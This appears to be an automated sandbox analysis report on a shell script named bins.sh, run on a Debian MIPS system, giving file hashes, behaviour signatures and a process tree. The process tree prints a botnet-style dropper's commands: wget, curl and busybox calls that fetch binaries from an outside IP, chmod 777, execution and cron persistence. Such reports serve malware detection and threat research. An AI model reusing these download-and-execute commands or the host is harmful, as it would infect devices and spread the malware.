Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 09:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4bc8a3083ffaa5e3a7da23f488fdc787

  • SHA1

    4cf7f88aa65a6b58c37c62251fcbdcb9a32b8283

  • SHA256

    90b55680af675591c28d288b43836fcee99e2f065fae6cec1ce9092d939169c2

  • SHA512

    3375c06b2f38ac637923d987d615c47304954aa37ef94736df70fee16b225f3d4262d4358a2f890986d00b36d84bde96fce65684ccee0a6e2cf4da71b268e8ac

  • SSDEEP

    192:0vzqMMKB1qHvD++MBje2aOorTKI++MBXaOorTHfMMMKB1AvC:ozqMMKB1qIe2aOorTKTaOorT/MMMKB1P

Malware Config

Signatures

  • Contacts a large (1800) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:713
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:742
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:788
        • /bin/chmod
          chmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • File and Directory Permissions Modification
          PID:819
        • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          ./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:820
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:822
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:823
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:824
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:825
              • /bin/rm
                rm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
                2⤵
                  PID:827
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                  2⤵
                    PID:830
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                    2⤵
                      PID:831
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                      2⤵
                      • Writes file to tmp directory
                      PID:832
                    • /bin/chmod
                      chmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                      2⤵
                      • File and Directory Permissions Modification
                      PID:833
                    • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                      ./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                      2⤵
                      • Executes dropped EXE
                      PID:834
                    • /bin/rm
                      rm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                      2⤵
                        PID:836
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
                        2⤵
                          PID:837
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
                          2⤵
                            PID:838
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
                            2⤵
                            • Writes file to tmp directory
                            PID:839
                          • /bin/chmod
                            chmod 777 UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
                            2⤵
                            • File and Directory Permissions Modification
                            PID:840
                          • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
                            ./UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
                            2⤵
                            • Executes dropped EXE
                            PID:841
                          • /bin/rm
                            rm UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
                            2⤵
                              PID:843
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                              2⤵
                                PID:844
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                                2⤵
                                  PID:845
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:846
                                • /bin/chmod
                                  chmod 777 EplximRG78lPSPojYmUgyc957YaLsSA8nU
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:847
                                • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                                  ./EplximRG78lPSPojYmUgyc957YaLsSA8nU
                                  2⤵
                                  • Executes dropped EXE
                                  PID:848
                                • /bin/rm
                                  rm EplximRG78lPSPojYmUgyc957YaLsSA8nU
                                  2⤵
                                    PID:850
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                                    2⤵
                                      PID:851
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                                      2⤵
                                        PID:852
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:853
                                      • /bin/chmod
                                        chmod 777 ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:938
                                      • /tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                                        ./ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                                        2⤵
                                        • Executes dropped EXE
                                        PID:939
                                      • /bin/rm
                                        rm ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                                        2⤵
                                          PID:941
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
                                          2⤵
                                            PID:942

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU

                                          Filesize

                                          112KB

                                          MD5

                                          05d7857dcead18bbd86d2935f591873c

                                          SHA1

                                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                                          SHA256

                                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                          SHA512

                                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                        • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI

                                          Filesize

                                          107KB

                                          MD5

                                          eb9c3a0de91fcf16ba17cb24608df68c

                                          SHA1

                                          09d95a7d70d5e115d103be51edff7c498d272fac

                                          SHA256

                                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                          SHA512

                                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                        • /tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /var/spool/cron/crontabs/tmp.wJOeDU

                                          Filesize

                                          210B

                                          MD5

                                          facdb36bb76358f821bb81f7d59b940a

                                          SHA1

                                          665dd0c47c4b348851bc49104b4e1405d5db8e54

                                          SHA256

                                          6d441d1abf9de1b8b807e0efb9320c3e9201b82a54b83b1b2db37a7e3d775add

                                          SHA512

                                          4a8a4f2e6a2c55257a2948b3d0a1a14d91e1b10fa08abc106c56c1ba9469a91f8a7236027786af8da1f82e704f3b4f38d05b4519e4e7ee59ddd418c6b5843804